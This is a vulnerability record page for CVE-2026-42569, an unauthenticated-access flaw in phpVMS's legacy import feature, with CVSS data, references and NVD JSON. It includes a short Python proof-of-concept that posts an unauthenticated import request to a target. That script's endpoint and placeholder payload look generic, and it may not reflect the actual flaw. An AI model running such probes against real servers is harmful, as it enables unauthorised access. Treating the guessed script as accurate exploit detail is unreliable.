CVE-2026-42569

Description

phpVMS is a PHP application to run and simulate an airline. Prior to version 7.0.6, a critical vulnerability in phpVMS allowed unauthenticated access to a legacy import feature. This issue has been patched in version 7.0.6.

CVSS Details

CVSS Score

9.4

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Configurations (Affected Products)

No configuration data available.

phpVMS < 7.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Vulnerability: CVE-2026-42569 (phpVMS Unauthenticated Access)
# Description: Access legacy import feature without authentication.

target_url = "http://target-domain.com/legacy/import"

# Example payload to simulate an import request
headers = {
    "User-Agent": "CVE-2026-42569-Scanner",
    "Content-Type": "application/json"
}

data = {
    "action": "import",
    "data": "malicious_payload_content"
}

try:
    response = requests.post(target_url, headers=headers, json=data, timeout=10)
    if response.status_code == 200:
        print("[+] Vulnerability confirmed! Access granted to legacy import feature.")
    else:
        print(f"[-] Target responded with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error connecting to target: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42569
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42569
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42569/
[4] VulDB https://vuldb.com/cve/CVE-2026-42569
[5] https://github.com/phpvms/phpvms/commit/f59ba8e0e8fc25c60c3faf14e526cfd49df3f7dc
[6] https://github.com/phpvms/phpvms/releases/tag/7.0.6
[7] https://github.com/phpvms/phpvms/releases/tag/7.0.7
[8] https://github.com/phpvms/phpvms/security/advisories/GHSA-fv26-4939-62fh

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42569", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:29.127", "lastModified": "2026-05-09T20:16:29.127", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpVMS is a PHP application to run and simulate an airline. Prior to version 7.0.6, a critical vulnerability in phpVMS allowed unauthenticated access to a legacy import feature. This issue has been patched in version 7.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/phpvms/phpvms/commit/f59ba8e0e8fc25c60c3faf14e526cfd49df3f7dc", "source": "[email protected]"}, {"url": "https://github.com/phpvms/phpvms/releases/tag/7.0.6", "source": "[email protected]"}, {"url": "https://github.com/phpvms/phpvms/releases/tag/7.0.7", "source": "[email protected]"}, {"url": "https://github.com/phpvms/phpvms/security/advisories/GHSA-fv26-4939-62fh", "source": "[email protected]"}]}}